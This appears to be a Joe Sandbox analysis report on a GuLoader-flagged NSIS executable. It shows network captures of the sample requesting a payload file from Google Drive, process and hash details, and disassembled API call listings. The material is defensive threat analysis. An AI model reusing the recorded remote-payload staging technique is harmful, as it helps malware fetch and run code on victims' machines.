2025-01-10 14:40:41 UTC	1920	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Fri, 10 Jan 2025 14:40:41 GMT Location: https://drive.usercontent.google.com/download?id=17VEveFnKbLEpDjw_o-LRbwbJdNQXDVmZ&export=download Strict-Transport-Security: max-age=31536000 Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'nonce-WNej71GuGrKaNXTCsovjuw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlist Cross-Origin-Opener-Policy: same-origin Content-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlist Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
85	192.168.2.7	52270	142.250.186.161	443	4640	C:\Users\user\Desktop\fTSt7dc60O.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 14:40:42 UTC	459	OUT	GET /download?id=17VEveFnKbLEpDjw_o-LRbwbJdNQXDVmZ&export=download HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0 Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=T5uyjBS8M28aMPPil4JejxLt3vhmlr-6LKr4b-f-gEyXQEP7xyhQBkz0Sr1OFxXKeOgwkV1T-FRHrYKW_kjWUlc8zu-soSchKgBs4F02-gcAdPXLRfOv-o0aPu_fTU2jyl_CedEULM2K3xfWXIjb9bDrbBJkBAWYiMUhknSlML-duXtzJKqlesU
2025-01-10 14:40:42 UTC	1844	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFIdbgQl6mRH8Y8IaoWcTpfIUUHxBnug6OaSznTs70oW8RIncvHadVuhwXmnZlGGU91BTl1c Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Fri, 10 Jan 2025 14:40:42 GMT Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'nonce-ybTtXvGGOtPWe8der0jKEw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlist Content-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlist Cross-Origin-Opener-Policy: same-origin Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2025-01-10 14:40:42 UTC	1652	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 65 77 5f 47 48 50 52 53 38 68 6d 57 39 73 78 63 77 5f 67 62 34 41 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="ew_GHPRS8hmW9sxcw_gb4A">*{margin:0;padding:0}html,code{font:15px/22px arial

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
86	192.168.2.7	52271	172.217.18.14	443	4640	C:\Users\user\Desktop\fTSt7dc60O.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 14:40:43 UTC	417	OUT	GET /uc?export=download&id=17VEveFnKbLEpDjw_o-LRbwbJdNQXDVmZ HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0 Host: drive.google.com Cache-Control: no-cache Cookie: NID=520=T5uyjBS8M28aMPPil4JejxLt3vhmlr-6LKr4b-f-gEyXQEP7xyhQBkz0Sr1OFxXKeOgwkV1T-FRHrYKW_kjWUlc8zu-soSchKgBs4F02-gcAdPXLRfOv-o0aPu_fTU2jyl_CedEULM2K3xfWXIjb9bDrbBJkBAWYiMUhknSlML-duXtzJKqlesU
2025-01-10 14:40:43 UTC	1920	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Fri, 10 Jan 2025 14:40:43 GMT Location: https://drive.usercontent.google.com/download?id=17VEveFnKbLEpDjw_o-LRbwbJdNQXDVmZ&export=download Strict-Transport-Security: max-age=31536000 Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'nonce-eWaK4ypKrgNCRHcYGXu3DQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlist Cross-Origin-Opener-Policy: same-origin Content-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlist Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Target ID:	0
Start time:	09:38:39
Start date:	10/01/2025
Path:	C:\Users\user\Desktop\fTSt7dc60O.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\fTSt7dc60O.exe"
Imagebase:	0x400000
File size:	540'745 bytes
MD5 hash:	0EECC852B848039DA55141FB43DD01E2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_GuLoader_2, Description: Yara detected GuLoader, Source: 00000000.00000002.1367001967.00000000055DB000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	09:38:51
Start date:	10/01/2025
Path:	C:\Users\user\Desktop\fTSt7dc60O.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\fTSt7dc60O.exe"
Imagebase:	0x400000
File size:	540'745 bytes
MD5 hash:	0EECC852B848039DA55141FB43DD01E2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_GuLoader_2, Description: Yara detected GuLoader, Source: 00000008.00000002.2484621112.000000000219B000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	false

Show Windows behavior

Execution Graph

Execution Coverage:	20.1%
Dynamic/Decrypted Code Coverage:	13.8%
Signature Coverage:	18.6%
Total number of Nodes:	1528
Total number of Limit Nodes:	41

Executed Functions

Function 0040335A Relevance: 75.6, APIs: 27, Strings: 16, Instructions: 383
stringfilecomCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

#17.COMCTL32 ref: 00403379
SetErrorMode.KERNELBASE(00008001), ref: 00403384
OleInitialize.OLE32(00000000), ref: 0040338B

Part of subcall function 004062B2: GetModuleHandleA.KERNEL32(?,?,00000020,0040339D,00000009), ref: 004062C4
Part of subcall function 004062B2: LoadLibraryA.KERNELBASE(?,?,00000020,0040339D,00000009), ref: 004062CF
Part of subcall function 004062B2: GetProcAddress.KERNEL32(00000000,?), ref: 004062E0

SHGetFileInfoW.SHELL32(004206A8,00000000,?,000002B4,00000000), ref: 004033B3

Part of subcall function 00405F48: lstrcpynW.KERNEL32(?,?,00000400,004033C8,00428200,NSIS Error), ref: 00405F55

GetCommandLineW.KERNEL32(00428200,NSIS Error), ref: 004033C8
GetModuleHandleW.KERNEL32(00000000,"C:\Users\user\Desktop\fTSt7dc60O.exe",00000000), ref: 004033DB
CharNextW.USER32(00000000,"C:\Users\user\Desktop\fTSt7dc60O.exe",00000020), ref: 00403403
GetTempPathW.KERNEL32(00000400,C:\Users\user~1\AppData\Local\Temp\,00000000,?), ref: 0040353B
GetWindowsDirectoryW.KERNEL32(C:\Users\user~1\AppData\Local\Temp\,000003FB), ref: 0040354C
lstrcatW.KERNEL32(C:\Users\user~1\AppData\Local\Temp\,\Temp), ref: 00403558
GetTempPathW.KERNEL32(000003FC,C:\Users\user~1\AppData\Local\Temp\,C:\Users\user~1\AppData\Local\Temp\,\Temp), ref: 0040356C
lstrcatW.KERNEL32(C:\Users\user~1\AppData\Local\Temp\,Low), ref: 00403574
SetEnvironmentVariableW.KERNEL32(TEMP,C:\Users\user~1\AppData\Local\Temp\,C:\Users\user~1\AppData\Local\Temp\,Low), ref: 00403585
SetEnvironmentVariableW.KERNEL32(TMP,C:\Users\user~1\AppData\Local\Temp\), ref: 0040358D
DeleteFileW.KERNELBASE(1033), ref: 004035A1
OleUninitialize.OLE32(?), ref: 0040366C
ExitProcess.KERNEL32 ref: 0040368C
lstrcatW.KERNEL32(C:\Users\user~1\AppData\Local\Temp\,~nsu.tmp,"C:\Users\user\Desktop\fTSt7dc60O.exe",00000000,?), ref: 00403698
lstrcmpiW.KERNEL32(C:\Users\user~1\AppData\Local\Temp\,C:\Users\user\Desktop,C:\Users\user~1\AppData\Local\Temp\,~nsu.tmp,"C:\Users\user\Desktop\fTSt7dc60O.exe",00000000,?), ref: 004036A4
CreateDirectoryW.KERNEL32(C:\Users\user~1\AppData\Local\Temp\,00000000), ref: 004036B0
SetCurrentDirectoryW.KERNEL32(C:\Users\user~1\AppData\Local\Temp\), ref: 004036B7
DeleteFileW.KERNEL32(0041FEA8,0041FEA8,?,0042A000,?), ref: 00403711
CopyFileW.KERNEL32(C:\Users\user\Desktop\fTSt7dc60O.exe,0041FEA8,00000001), ref: 00403725
CloseHandle.KERNEL32(00000000,0041FEA8,0041FEA8,?,0041FEA8,00000000), ref: 00403752
GetCurrentProcess.KERNEL32(00000028,00000006,00000006,00000005,00000004), ref: 004037AC
ExitWindowsEx.USER32(00000002,80040002), ref: 00403804
ExitProcess.KERNEL32 ref: 00403827

Strings

"C:\Users\user\Desktop\fTSt7dc60O.exe", xrefs: 004033CE, 004033D4, 004033EB, 004035C9
C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\typhlostomy, xrefs: 00403649
\Temp, xrefs: 00403552
C:\Users\user~1\AppData\Local\Temp\, xrefs: 00403530, 00403535, 0040354B, 00403557, 00403566, 00403573, 0040357F, 00403587, 00403697, 004036A3, 004036AF, 004036B6, 00403767
Error launching installer, xrefs: 00403623
C:\Users\user\Desktop, xrefs: 0040369D, 004036A2, 004036C6
1033, xrefs: 0040359C
Error writing temporary file. Make sure your temp folder is valid., xrefs: 0040336D
C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\typhlostomy, xrefs: 00403520, 0040363E, 004036BD, 004036C7
Low, xrefs: 0040356E
NSIS Error, xrefs: 004033B9
C:\Users\user\Desktop\fTSt7dc60O.exe, xrefs: 00403720
TEMP, xrefs: 00403580
TMP, xrefs: 00403588
~nsu.tmp, xrefs: 00403692
SeShutdownPrivilege, xrefs: 004037BE

Memory Dump Source

Source File: 00000000.00000002.1365197746.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1365171728.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365230267.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365260040.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365260040.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365260040.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365260040.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365260040.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365260040.0000000000446000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365412260.000000000044A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_fTSt7dc60O.jbxd

Similarity

API ID: File$DirectoryExitHandleProcesslstrcat$CurrentDeleteEnvironmentModulePathTempVariableWindows$AddressCharCloseCommandCopyCreateErrorInfoInitializeLibraryLineLoadModeNextProcUninitializelstrcmpilstrcpyn
String ID: "C:\Users\user\Desktop\fTSt7dc60O.exe"$1033$C:\Users\user~1\AppData\Local\Temp\$C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\typhlostomy$C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\typhlostomy$C:\Users\user\Desktop$C:\Users\user\Desktop\fTSt7dc60O.exe$Error launching installer$Error writing temporary file. Make sure your temp folder is valid.$Low$NSIS Error$SeShutdownPrivilege$TEMP$TMP$\Temp$~nsu.tmp
API String ID: 4107622049-2308846564
Opcode ID: 4d4429256b2e22e1563bae374a615e4d58d6fbe71fb0bbfbec444303671cea11
Instruction ID: 39938aed3c042d93969ea090ff24049052e59ae08dabad03a7e97e37c14ef613
Opcode Fuzzy Hash: 4d4429256b2e22e1563bae374a615e4d58d6fbe71fb0bbfbec444303671cea11
Instruction Fuzzy Hash: 8AC12670604311AAD720BF659C49A2B3EACEB8574AF10483FF480B62D2D77D9D41CB6E

Function 00405331 Relevance: 66.8, APIs: 36, Strings: 2, Instructions: 282
windowclipboardmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetDlgItem.USER32(?,00000403), ref: 00405390
GetDlgItem.USER32(?,000003EE), ref: 0040539F
GetClientRect.USER32(?,?), ref: 004053DC
GetSystemMetrics.USER32(00000015), ref: 004053E4
SendMessageW.USER32(?,00001061,00000000,00000002), ref: 00405405
SendMessageW.USER32(?,00001036,00004000,00004000), ref: 00405416
SendMessageW.USER32(?,00001001,00000000,00000110), ref: 00405429
SendMessageW.USER32(?,00001026,00000000,00000110), ref: 00405437
SendMessageW.USER32(?,00001024,00000000,?), ref: 0040544A
ShowWindow.USER32(00000000,?,0000001B,000000FF), ref: 0040546C
ShowWindow.USER32(?,00000008), ref: 00405480
GetDlgItem.USER32(?,000003EC), ref: 004054A1
SendMessageW.USER32(00000000,00000401,00000000,75300000), ref: 004054B1
SendMessageW.USER32(00000000,00000409,00000000,?), ref: 004054CA
SendMessageW.USER32(00000000,00002001,00000000,00000110), ref: 004054D6
GetDlgItem.USER32(?,000003F8), ref: 004053AE

Part of subcall function 004041CF: SendMessageW.USER32(00000028,?,00000001,00403FFB), ref: 004041DD

GetDlgItem.USER32(?,000003EC), ref: 004054F3
CreateThread.KERNELBASE(00000000,00000000,Function_000052C5,00000000), ref: 00405501
CloseHandle.KERNELBASE(00000000), ref: 00405508
ShowWindow.USER32(00000000), ref: 0040552C
ShowWindow.USER32(?,00000008), ref: 00405531
ShowWindow.USER32(00000008), ref: 0040557B
SendMessageW.USER32(?,00001004,00000000,00000000), ref: 004055AF
CreatePopupMenu.USER32 ref: 004055C0
AppendMenuW.USER32(00000000,00000000,00000001,00000000), ref: 004055D4
GetWindowRect.USER32(?,?), ref: 004055F4
TrackPopupMenu.USER32(00000000,00000180,?,?,00000000,?,00000000), ref: 0040560D
SendMessageW.USER32(?,00001073,00000000,?), ref: 00405645
OpenClipboard.USER32(00000000), ref: 00405655
EmptyClipboard.USER32 ref: 0040565B
GlobalAlloc.KERNEL32(00000042,00000000), ref: 00405667
GlobalLock.KERNEL32(00000000), ref: 00405671
SendMessageW.USER32(?,00001073,00000000,?), ref: 00405685
GlobalUnlock.KERNEL32(00000000), ref: 004056A5
SetClipboardData.USER32(0000000D,00000000), ref: 004056B0
CloseClipboard.USER32 ref: 004056B6

Strings

&B, xrefs: 00405621
{, xrefs: 00405599

Memory Dump Source

Source File: 00000000.00000002.1365197746.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1365171728.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365230267.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365260040.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365260040.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365260040.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365260040.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365260040.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365260040.0000000000446000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365412260.000000000044A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_fTSt7dc60O.jbxd

Similarity

API ID: MessageSend$Window$ItemShow$Clipboard$GlobalMenu$CloseCreatePopupRect$AllocAppendClientDataEmptyHandleLockMetricsOpenSystemThreadTrackUnlock
String ID: {$&B
API String ID: 590372296-2518801558
Opcode ID: 7775d457d8fde2865fa6d0874cf326612850ae095f4a8d1cd8ac1be61ac30762
Instruction ID: 6f8bb207ab4459f732b66fbe2fdab1c380fd8c459621fe3193bce92f33b6cf64
Opcode Fuzzy Hash: 7775d457d8fde2865fa6d0874cf326612850ae095f4a8d1cd8ac1be61ac30762
Instruction Fuzzy Hash: ECB14A70900208FFDB119F60DD89AAE7B79FB04354F40817AFA05BA1A0C7759E52DF69

Function 00405F6A Relevance: 21.2, APIs: 8, Strings: 4, Instructions: 207
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetVersion.KERNEL32(00000000,Skipped: C:\Users\user~1\AppData\Local\Temp\nsb9BB3.tmp\System.dll,?,00405229,Skipped: C:\Users\user~1\AppData\Local\Temp\nsb9BB3.tmp\System.dll,00000000,00000000,00000000), ref: 0040602D
GetSystemDirectoryW.KERNEL32(Call,00000400), ref: 004060AB
GetWindowsDirectoryW.KERNEL32(Call,00000400), ref: 004060BE
SHGetSpecialFolderLocation.SHELL32(?,?), ref: 004060FA
SHGetPathFromIDListW.SHELL32(?,Call), ref: 00406108
CoTaskMemFree.OLE32(?), ref: 00406113
lstrcatW.KERNEL32(Call,\Microsoft\Internet Explorer\Quick Launch), ref: 00406137
lstrlenW.KERNEL32(Call,00000000,Skipped: C:\Users\user~1\AppData\Local\Temp\nsb9BB3.tmp\System.dll,?,00405229,Skipped: C:\Users\user~1\AppData\Local\Temp\nsb9BB3.tmp\System.dll,00000000,00000000,00000000), ref: 00406191

Strings

\Microsoft\Internet Explorer\Quick Launch, xrefs: 00406131
Software\Microsoft\Windows\CurrentVersion, xrefs: 00406079
Skipped: C:\Users\user~1\AppData\Local\Temp\nsb9BB3.tmp\System.dll, xrefs: 00405F8F
Call, xrefs: 00405F94, 00406074, 00406095, 004060AA, 004060BD, 004060D9, 00406104, 00406136, 0040613C, 00406156, 0040616A, 0040618A, 00406190, 0040619C, 004061CF

Memory Dump Source

Source File: 00000000.00000002.1365197746.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1365171728.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365230267.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365260040.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365260040.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365260040.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365260040.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365260040.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365260040.0000000000446000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365412260.000000000044A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_fTSt7dc60O.jbxd

Similarity

API ID: Directory$FolderFreeFromListLocationPathSpecialSystemTaskVersionWindowslstrcatlstrlen
String ID: Call$Skipped: C:\Users\user~1\AppData\Local\Temp\nsb9BB3.tmp\System.dll$Software\Microsoft\Windows\CurrentVersion$\Microsoft\Internet Explorer\Quick Launch
API String ID: 900638850-1737829468
Opcode ID: 1bceb9c34b05b27e3618ed90a195e6464c3aae8e072edacfa9e3722d3d9acc23
Instruction ID: 5a47950f0b5222037037379568de6f858daa6aaa62ae53bcd4b1bc7075dc7fd7
Opcode Fuzzy Hash: 1bceb9c34b05b27e3618ed90a195e6464c3aae8e072edacfa9e3722d3d9acc23
Instruction Fuzzy Hash: DE611571A00105ABDF209F24CC40AAF37A5EF55314F52C13BE956BA2E1D73D4AA2CB5E

Function 004057D0 Relevance: 17.6, APIs: 7, Strings: 3, Instructions: 148
filestringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

DeleteFileW.KERNELBASE(?,?,C:\Users\user~1\AppData\Local\Temp\,771B2EE0,"C:\Users\user\Desktop\fTSt7dc60O.exe"), ref: 004057F9
lstrcatW.KERNEL32(004246F0,\*.*,004246F0,?,?,C:\Users\user~1\AppData\Local\Temp\,771B2EE0,"C:\Users\user\Desktop\fTSt7dc60O.exe"), ref: 00405841
lstrcatW.KERNEL32(?,00409014,?,004246F0,?,?,C:\Users\user~1\AppData\Local\Temp\,771B2EE0,"C:\Users\user\Desktop\fTSt7dc60O.exe"), ref: 00405864
lstrlenW.KERNEL32(?,?,00409014,?,004246F0,?,?,C:\Users\user~1\AppData\Local\Temp\,771B2EE0,"C:\Users\user\Desktop\fTSt7dc60O.exe"), ref: 0040586A
FindFirstFileW.KERNELBASE(004246F0,?,?,?,00409014,?,004246F0,?,?,C:\Users\user~1\AppData\Local\Temp\,771B2EE0,"C:\Users\user\Desktop\fTSt7dc60O.exe"), ref: 0040587A
FindNextFileW.KERNEL32(00000000,00000010,000000F2,?,?,?,?,0000002E), ref: 0040591A
FindClose.KERNEL32(00000000), ref: 00405929

Strings

"C:\Users\user\Desktop\fTSt7dc60O.exe", xrefs: 004057D9
\*.*, xrefs: 0040583B
C:\Users\user~1\AppData\Local\Temp\, xrefs: 004057DE

Memory Dump Source

Source File: 00000000.00000002.1365197746.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1365171728.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365230267.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365260040.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365260040.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365260040.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365260040.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365260040.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365260040.0000000000446000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365412260.000000000044A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_fTSt7dc60O.jbxd

Similarity

API ID: FileFind$lstrcat$CloseDeleteFirstNextlstrlen
String ID: "C:\Users\user\Desktop\fTSt7dc60O.exe"$C:\Users\user~1\AppData\Local\Temp\$\*.*
API String ID: 2035342205-1766276416
Opcode ID: 42d14f137d7c51639dd5450d77468bfd9c1695374b56492c5285f64ee032ed7a
Instruction ID: 2292a97837c012d07e09995a86319137dd3f2048718c0aa8a22e23afcdeedbd0
Opcode Fuzzy Hash: 42d14f137d7c51639dd5450d77468bfd9c1695374b56492c5285f64ee032ed7a
Instruction Fuzzy Hash: BF41C171800914EACF217B668C49BBF7678EB81328F24817BF811761D1D77C4E829E6E

Function 0040659D Relevance: 5.4, APIs: 4, Instructions: 382COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1365197746.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1365171728.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365230267.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365260040.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365260040.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365260040.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365260040.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365260040.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365260040.0000000000446000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365412260.000000000044A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_fTSt7dc60O.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a31c6952aff2c2d9e3077db5cda77fcb20a4fa1314c68fe29834e6b9dbef6b62
Instruction ID: 2d3234ddcc30eb1b928d1b3f6e05ca322d860fc2e9c12c5c13e3e91ce8371178
